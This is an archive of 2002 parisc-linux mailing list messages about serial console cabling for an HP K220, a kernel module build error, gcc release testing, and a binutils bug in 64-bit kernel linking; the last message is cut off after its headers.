X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] K220 - Setup via. Console
Date: Mon, 8 Apr 2002 15:56:44 +0100
Lines: 31
Approved: news@gmane.org
Message-ID: <20020408155644.F27547@parcelfarce.linux.theplanet.co.uk>
References: <3CB12C3E.B6FB23DB@attbi.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621222 6116 80.91.229.3 (22 Nov 2014 01:53:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:42 +0000 (UTC)
Cc: parisc <parisc-linux@lists.parisc-linux.org>
To: Ahbaid Gaffoor <ahbaidg@attbi.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Apr  8 08:56:47 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6C70B482A
	for <parisc-linux@lists.parisc-linux.org>; Mon,  8 Apr 2002 08:56:46 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 16uaZY-0005ED-00; Mon, 08 Apr 2002 15:56:44 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <3CB12C3E.B6FB23DB@attbi.com>; from ahbaidg@attbi.com on Sun, Apr 07, 2002 at 10:35:58PM -0700
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14544

On Sun, Apr 07, 2002 at 10:35:58PM -0700, Ahbaid Gaffoor wrote:
> I have a K220. I'd like to install the latest release of PA-RISC Linux
> on it but I need to first of all be able to console into it.

You'll have trouble when it does come up -- we don't have proper console
support yet.

> I am trying to use the console cable I have used with Sun boxes on this
> machine, however I just cannot get it to work? My terminal emulation is
> done via HyperTerminal on a laptopb via. COM1

I think Sun have their own strange pinout whereas HP use a standard
null-modem cable.

> What seeting do I need on my terminal emulator? Or is there some jumper
> I have to set to allow this to work? Currently I use 9600 8N1, I also
> tried 7E1 but still no luck...

9600 8N1, no hardware or software flow control is the right setting to
get firmware to talk to you.

By the way, we don't have a K220 in the hwdb yet; the closest we have is
a K210.  Please go to http://hwdb.parisc-linux.org/add.php3?type=machine
and follow the instructions.

We hope to have support for the console on the K-class later this year...

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:22:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Linux palinux 2.4.19-pre5-pa0 #2 Mon Apr 8 15:16:06 CEST 2002 parisc unknown
Date: Mon, 8 Apr 2002 16:03:10 +0100
Lines: 21
Approved: news@gmane.org
Message-ID: <20020408160310.G27547@parcelfarce.linux.theplanet.co.uk>
References: <1018277506.3cb1ae82d2cca@webmail.tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621223 6118 80.91.229.3 (22 Nov 2014 01:53:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:43 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: joel.soete@freebel.net
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Apr  8 09:03:17 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 624A6482A
	for <parisc-linux@lists.parisc-linux.org>; Mon,  8 Apr 2002 09:03:16 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 16uafm-0005M4-00; Mon, 08 Apr 2002 16:03:10 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <1018277506.3cb1ae82d2cca@webmail.tiscali.be>; from joel.soete@freebel.net on Mon, Apr 08, 2002 at 04:51:46PM +0200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14545

On Mon, Apr 08, 2002 at 04:51:46PM +0200, joel.soete@freebel.net wrote:
> Hi all,
> 
> It seems to works just still have a problem with modules:
> 
> mkdir -p pcmcia; \
> find kernel -path '*/pcmcia/*' -name '*.o' | xargs -i -r ln -sf ../{} pcmcia
> if [ -r System.map ]; then /sbin/depmod -ae -F System.map  2.4.19-pre5-pa0; fi
> depmod: *** Unresolved symbols in
> /lib/modules/2.4.19-pre5-pa0/kernel/drivers/scsi/scsi_debug.o
> depmod: 	vmalloc
> make: *** [_modinst_post] Error 1
> Mon Apr  8 16:04:06 CEST 2002

You got a warning before this, something like `implicit declaration of
function vmalloc'.  ie you forgot to #include <linux/vmalloc.h>

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:22:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jan-Benedict Glaw <jbglaw@lug-owl.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] K220 - Setup via. Console
Date: Mon, 8 Apr 2002 17:06:42 +0200
Lines: 64
Approved: news@gmane.org
Message-ID: <20020408150642.GF12289@lug-owl.de>
References: <3CB12C3E.B6FB23DB@attbi.com> <20020408155644.F27547@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="1Ow488MNN9B9o/ov"
X-Trace: ger.gmane.org 1416621223 6121 80.91.229.3 (22 Nov 2014 01:53:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:43 +0000 (UTC)
To: parisc <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Apr  8 09:06:45 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dvmwest.gt.owl.de (dvmwest.gt.owl.de [62.52.24.140])
	by dsl2.external.hp.com (Postfix) with ESMTP id 44135482A
	for <parisc-linux@lists.parisc-linux.org>; Mon,  8 Apr 2002 09:06:45 -0600 (MDT)
Original-Received: by dvmwest.gt.owl.de (Postfix, from userid 1001)
	id C79C39F08; Mon,  8 Apr 2002 17:06:42 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <20020408155644.F27547@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.3.28i
X-Operating-System: Linux mail 2.4.15-pre2 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14546

--1Ow488MNN9B9o/ov
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Mon, 2002-04-08 15:56:44 +0100, Matthew Wilcox <willy@debian.org>
wrote in message <20020408155644.F27547@parcelfarce.linux.theplanet.co.uk>:
> On Sun, Apr 07, 2002 at 10:35:58PM -0700, Ahbaid Gaffoor wrote:
> > I am trying to use the console cable I have used with Sun boxes on this
> > machine, however I just cannot get it to work? My terminal emulation is
> > done via HyperTerminal on a laptopb via. COM1
>=20
> I think Sun have their own strange pinout whereas HP use a standard
> null-modem cable.

Older Suns use a jack that's identical to what Macs use; newer Systems
do have a female (!) DM25 jack which contains two serial ports: one
on the "standard" pins (you only need a genderchanger and a DB25 -> DB9
converter), the other port is on the unused pins (you can buy
split cables for 10 US-$ on ebay).

The round jack on those Macs/SGIs/Suns do have three important pins:
If you look at it, it looks like this:



        1     2     3

=20

   4            5        6


   =20
         7        8


(Yes, it's assymmetric). 4 and 6 are RxD and TxD, 5 is Ground. Happy

MfG, JBG
PS: I don't know which one of pin 4 and 6 is RxD and which one is TxD.
You maybe have to try and error...

--=20
Jan-Benedict Glaw   .   jbglaw@lug-owl.de   .   +49-172-7608481
	 -- New APT-Proxy written in shell script --
	   http://lug-owl.de/~jbglaw/software/ap2/

--1Ow488MNN9B9o/ov
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iEYEARECAAYFAjyxsgEACgkQHb1edYOZ4btJdACghkxEZicx0diNWtK0w2VVTO4d
rT8An3Me+/mXoE8gSE1jBT5+8fG+s/E2
=FrJ1
-----END PGP SIGNATURE-----

--1Ow488MNN9B9o/ov--



From - Thu Nov 08 21:22:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] GCC support for dwarf2
Date: Mon, 8 Apr 2002 12:08:15 -0400 (EDT)
Lines: 40
Approved: news@gmane.org
Message-ID: <200204081608.g38G8FB4020947@hiauly1.hia.nrc.ca>
References: <1018246520.3cb13578be656@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621223 6123 80.91.229.3 (22 Nov 2014 01:53:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:43 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: joel.soete@freebel.net
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Apr  8 10:08:24 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id A1401482A
	for <parisc-linux@lists.parisc-linux.org>; Mon,  8 Apr 2002 10:08:19 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g38G8GFN020948
	for <parisc-linux@lists.parisc-linux.org>; Mon, 8 Apr 2002 12:08:17 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g38G8FB4020947;
	Mon, 8 Apr 2002 12:08:15 -0400 (EDT)
In-Reply-To: <1018246520.3cb13578be656@webmail.tiscalinet.be> from "joel.soete@freebel.net" at Apr 8, 2002 08:15:20 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14547

Joel,

Thanks for the offer to help.  The gcc 3.1 release criteria are here:
<http://gcc.gnu.org/gcc-3.1/criteria.html>.  There should be info on
how to build these.  There has been discussion of this on the gcc
list.

It would be useful to collect testresults for the listed applications.
It would be really great to compare the status of debian 3.0.4, gcc
cvs 3.1 (prerelease), and gcc cvs 3.2 (experimental).

I suspect that there will be problems with many of the tests.  There
is a integer*1 g77 bug that may affect lapack.  Qt may not build
because of an issue with long calls.  I think that I now understand
how to fix this but it may just go into 3.2.  3.2 has working dwarf2
exceptions and 3.1 doesn't.

> What could we do to help? Do we have to install snapshot gcc? Which programs
> would be tested?

You would need to install the cvs binutils and cvs gcc versions in some
convenient location for the testing.  I use ~/opt/gnu.  Instructions
on cvs access to gcc is on the gcc site <http://gcc.gnu.org/> and
similarly for binutils.  You probably need to define 

LD_RUN_PATH=/home/dave/opt/gnu/lib
LD_LIBRARY_PATH=/home/dave/opt/gnu/lib
LIBRARY_PATH=/home/dave/opt/gnu/lib

in your environment.

Even just building gcc can provide useful feedback.  I know it is very
easy to make mistakes due to the complexity of the package.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)



From - Thu Nov 08 21:22:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Linux palinux 2.4.19-pre5-pa0 #2 Mon Apr 8 15:16:06 CEST 2002 parisc unknown
Date: Mon, 08 Apr 2002 18:09:30 +0200 (CEST)
Lines: 40
Approved: news@gmane.org
Message-ID: <1018282170.3cb1c0ba7f792@webmail.tiscali.be>
References: <1018277506.3cb1ae82d2cca@webmail.tiscali.be> <20020408160310.G27547@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621223 6128 80.91.229.3 (22 Nov 2014 01:53:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:43 +0000 (UTC)
Cc: joel.soete@freebel.net, parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Apr  8 10:10:36 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail1.tiscali.be [212.35.2.121])
	by dsl2.external.hp.com (Postfix) with ESMTP id C5A7B482A
	for <parisc-linux@lists.parisc-linux.org>; Mon,  8 Apr 2002 10:10:34 -0600 (MDT)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 16ubhy-0000Vg-00; Mon, 08 Apr 2002 18:09:30 +0200
In-Reply-To: <20020408160310.G27547@parcelfarce.linux.theplanet.co.uk>
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.2
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14548

Thanks.

Having a look in more details, I just see that there is only one place where
vmalloc is used in place of kmalloc and it is deliberately used. On the contrary
IIRC this was a cause of problems in early evms. Also as I do not actually need
this module (right now), I prefered to remove this from my config for the moment.

Joel

Quoting Matthew Wilcox <willy@debian.org>:

> On Mon, Apr 08, 2002 at 04:51:46PM +0200, joel.soete@freebel.net wrote:
> > Hi all,
> > 
> > It seems to works just still have a problem with modules:
> > 
> > mkdir -p pcmcia; \
> > find kernel -path '*/pcmcia/*' -name '*.o' | xargs -i -r ln -sf ../{}
> pcmcia
> > if [ -r System.map ]; then /sbin/depmod -ae -F System.map 
> 2.4.19-pre5-pa0; fi
> > depmod: *** Unresolved symbols in
> > /lib/modules/2.4.19-pre5-pa0/kernel/drivers/scsi/scsi_debug.o
> > depmod: 	vmalloc
> > make: *** [_modinst_post] Error 1
> > Mon Apr  8 16:04:06 CEST 2002
> 
> You got a warning before this, something like `implicit declaration of
> function vmalloc'.  ie you forgot to #include <linux/vmalloc.h>
> 
> -- 
> Revolutions do not require corporate support.
> 
> 


-------------------------------------------------
This mail sent through Tiscali Webmail (http://webmail.tiscali.be)



From - Thu Nov 08 21:22:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@gmx.at>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] K220 - Setup via. Console
Date: Mon, 08 Apr 2002 21:39:34 +0200
Organization: private
Lines: 93
Approved: news@gmane.org
Message-ID: <3CB1F1F6.6DA251ED@gmx.at>
References: <3CB12C3E.B6FB23DB@attbi.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621224 6133 80.91.229.3 (22 Nov 2014 01:53:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:44 +0000 (UTC)
Cc: parisc <parisc-linux@lists.parisc-linux.org>, willy@debian.org,
	jbglaw@lug-owl.de
To: Ahbaid Gaffoor <ahbaidg@attbi.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Apr  8 13:39:53 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from viefep12-int.chello.at (viefep12-int.chello.at [213.46.255.25])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3E12C482A
	for <parisc-linux@lists.parisc-linux.org>; Mon,  8 Apr 2002 13:39:52 -0600 (MDT)
Original-Received: from gmx.at ([62.178.92.247]) by viefep12-int.chello.at
          (InterMail vM.5.01.03.06 201-253-122-118-106-20010523) with ESMTP
          id <20020408193943.NLAZ8446.viefep12-int.chello.at@gmx.at>;
          Mon, 8 Apr 2002 21:39:43 +0200
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.4.6 i686)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14549

Hello, there are some points to discuss and solve.

(1) cabeling:
First of all check RS232 pinout. My E55 HP server has some
non-standards,
not only that the RX/TX pins are swapped, the handshake lines are 
completely non-standard mapped, and a simple Null-Modem cable does the
wrong ! (BTW: As HP has the wrong direction, a 1:1 cable is needed,
but again, the handshake lines are non-standard).

So check the RS232 port on the HP box. (On my 720 and 712 I never ahd
a problem, it was a standard RS232, PC-like).

(2) SUN
The SUN always has PC-like 25-pin connectors, but a gender-changer is
needed, as SUN always has the PC-pin layout, but a female instead of
male connector.

Even the 8-way serial ports of SUN (old S-bus one, and new PCI one), 
always use the same female 25-pin connectors with PC-pinout.

Special connectors as mention in the other answers is only used at
Sun ICP/IPX: Mini-DIN 8pin
Sun SparcStation 20 (and perhaps 10): one 25-pin female connector
	with two ports (you need a Y-cable).

(3) Problems between PCs under BIOS/Microsoft control.
As Microsoft (and PC BIOSes) is (are) a proprietary non-standard system, 
it also makes problems concerning the RS232 ports. Although hardware
handshake is turned off, the CTS pin (pin 5 on 25pin PC connector)
must be asserted. You need at mimimum a bridging cable between pin
4 and 5 (pin 7 and 8 on a DSUB-9pin).

The problem does not exist on SUN and on Linux PCs. The bridge is only
needed on the PC (hyperTerminal) side.

(4) XON/XOFF is often used on serial console, and as far as I know,
default !
So XON/XOFF should be enabnled, but again, this is my opinion.

(5) Serial Console:
Concerning the mail of the K220 console support.
If the serial console on the K220 is not supported, you can use the new
PDC Console Driver, you can find under non-standard serial drivers. It 
supports the PDC console driver of the firmware to use under Linux 
as driver `/dev/ttyB0'. In the help of this configuration option you can
find the steps, how to use this. I developed this driver for my E55, as
this machine is not supported, too.


So I hope ypu will find some hints and solve the problem.

With friendly regards
Christoph P.


Ahbaid Gaffoor wrote:
> 
> Hello,
> 
> I have a K220. I'd like to install the latest release of PA-RISC Linux
> on it but I need to first of all be able to console into it.
> 
> I am trying to use the console cable I have used with Sun boxes on this
> machine, however I just cannot get it to work? My terminal emulation is
> done via HyperTerminal on a laptopb via. COM1
> 
> I do not get any output information on my console connection.
> 
> What do I need to do this?
> 
> What seeting do I need on my terminal emulator? Or is there some jumper
> I have to set to allow this to work? Currently I use 9600 8N1, I also
> tried 7E1 but still no luck...
> 
> Please help...
> 
> Thanks...
> 
> Ahbaid.
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux

-- 
-------------------------------------------------------
private:	christoph.plattner@gmx.at
company:	christoph.plattner@alcatel.at




From - Thu Nov 08 21:22:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <tausq@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] volunteer sought for a binutils project
Date: Mon, 8 Apr 2002 21:38:55 -0700
Lines: 43
Approved: news@gmane.org
Message-ID: <20020409043855.GI7563@tausq.org>
Reply-To: Randolph Chung <tausq@debian.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621224 6137 80.91.229.3 (22 Nov 2014 01:53:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:44 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Apr  8 22:24:38 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.pangeatech.com (pxofc151-phx1.pangeatech.com [63.110.32.151])
	by dsl2.external.hp.com (Postfix) with ESMTP id A8B77482A
	for <parisc-linux@parisc-linux.org>; Mon,  8 Apr 2002 22:24:37 -0600 (MDT)
Original-Received: from [65.192.22.133] by mail.pangeatech.com (NTMail 7.00.0018/NU8172.00.e2123c13) with ESMTP id xlzkmaaa for parisc-linux@parisc-linux.org; Mon, 8 Apr 2002 21:23:31 -0700
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 4AD39CDA51; Mon,  8 Apr 2002 21:38:55 -0700 (PDT)
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14550

When building 64-bit kernels, the linker puts dynamic sections into the
resulting vmlinux file. This is not harmful per se, but is nonetheless
wrong (and confuses some of the modutils tools). Alan Modra explains 
the situation and how to fix it below. Anyone feel like give this a 
shot?

randolph

----- Forwarded message from Alan Modra <amodra@bigpond.net.au> -----

Date: Mon, 8 Apr 2002 17:18:29 +0930
From: Alan Modra <amodra@bigpond.net.au>
To: Randolph Chung <tausq@debian.org>
Cc: dave@hiauly1.hia.nrc.ca
Subject: Re: unwind sections not sorted?

> legolas[19:30] t% readelf -d ./vmlinux-pa7
> 
> Dynamic segment at offset 0x25ee30 contains 11 entries:
>   Tag        Type                         Name/Value
>  0x0000000000000004 (HASH)               0x102ee4e0
>  0x0000000000000005 (STRTAB)             0x102ee4d8
>  0x0000000000000006 (SYMTAB)             0x102ee4d8
>  0x000000000000000a (STRSZ)              1 (bytes)
>  0x000000000000000b (SYMENT)             24 (bytes)
>  0x0000000060000001 (<unknown>: 60000001) 0 0x0000000000000003 (PLTGOT)             0x10383470
>  0x0000000000000015 (DEBUG)              0x0
>  0x0000000060000002 (<unknown>: 60000002) 0x0 0x0000000060000000 (<unknown>: 60000000) 0x102f6000 0x0000000000000000 (NULL)               0x0

Hrrm.  OK, another bug in elf64-hppa.c.  elf64_hppa_check_relocs creates
_all_ the dynamic sections whether needed or not.  It certainly shouldn't
be calling bfd_elf64_link_create_dynamic_sections, but rather call
elf64_hppa_create_dynamic_sections to create the sections the backend
needs.  Then of course, elf64_hppa_create_dynamic_sections needs to be
modified to not duplicate sections.

-- 
Alan Modra
IBM OzLabs - Linux Technology Centre

----- End forwarded message -----



From - Thu Nov 08 21:22:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] some bugs
Date: Tue, 9 Apr 2002 18:15:52 +0100 (IST)
Lines: 157
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0204091813530.26756-200000@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
